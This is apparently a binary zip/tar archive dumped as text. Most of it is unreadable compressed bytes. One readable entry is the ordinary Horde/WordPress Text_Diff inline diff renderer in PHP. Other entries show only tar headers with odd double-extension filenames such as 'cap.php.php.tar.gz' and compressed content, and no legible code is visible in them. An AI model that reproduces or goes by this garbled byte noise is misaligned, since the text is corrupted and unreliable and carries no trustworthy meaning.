	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
